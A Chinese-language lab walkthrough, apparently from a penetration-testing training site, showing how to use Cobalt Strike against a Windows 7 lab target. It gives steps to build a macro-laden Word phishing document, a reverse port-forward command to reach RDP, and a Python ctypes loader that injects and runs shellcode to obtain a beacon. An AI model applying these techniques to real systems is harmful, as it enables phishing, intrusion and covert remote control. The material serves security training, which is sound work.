CobaltStrike是一款渗透测试神器,常被业界人称为CS神器。CobaltStrike已经不再使用MSF而是作为单独的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。
CobaltStrike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成,包括站点克隆获取浏览器的相关信息等。
通过该实验了解CS的office宏钓鱼,端口转发及shellcode生成。
https://www.hetianlab.com/expc.do?ce=d9293b3a-2e97-4ad9-a907-69a9597b1be0
服务器:kali,IP地址:10.1.1.100
靶机:win7 ,IP地址:10.1.1.200
辅助工具:win7上安装office
./teamserver 10.1.1.100 password
Java -XX:+AggressiveHeap -XX:+UseParallelGC -jar
cobaltstrike.jar
创建监听器
attacks->packages->ms office macro
选择刚刚创建好的listener,点击Generate
点击copy macro
这时候宏代码已经被复制了
我们首先创建一个1.txt,把代码粘贴进去
保存并退出
将其拷贝到网站根目录下
cp 1.txt /var/www/html/1.txt
然后启动apache
service apache2 start
使用浏览器访问 10.1.1.100/1.txt
将这些代码全选复制
然后新建一个office word
视图->宏->查看宏
宏名处随意输入,点击创建
Project-microsoftword对象-thisdocument
粘贴之前生成的代码
另存为,注意保存类型选择启用宏的文档
点击保存后生成了钓鱼文件
打开钓鱼文件,即可在攻击机上线beacon
excel也是一样的,请自行实验
如果拿到一台内网机器,想要能够进行远程桌面链接,但是默认远程端口3389被防火墙阻止,可以通过端口转发,CS已经内置了这个功能
输入下列命令:
rportfwd 389 10.1.1.200 3389
即可通过389端口远程桌面了。
CS可以生成很多类型的shellcode,但是拿到shellcode怎么使用呢?Powershell很简单,在win的powershell环境下就可以使用了,C/c++的也很成熟了,这里就介绍一种常用的语言python,看看python类型的shellcode如何使用。
Attacks->package->paylaod generator
选择监听器demo,选择python,x64视情况勾选,这里我得靶机位x32,所以不用勾选
生成的shellcode为:
启动kali上apache服务
然后将python文件移动到网站根目录下
cp payload.py /var/www/html/1.py
访问靶机使用浏览器访问对应地址,即可得到payload
新建一个python脚本,填写上面得到的shellcode
import ctypes
shellcode = ""
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
保存后退出运行
python C:
\Users\Administrator\Desktop\1.py
此时在kali上就拿到beacon了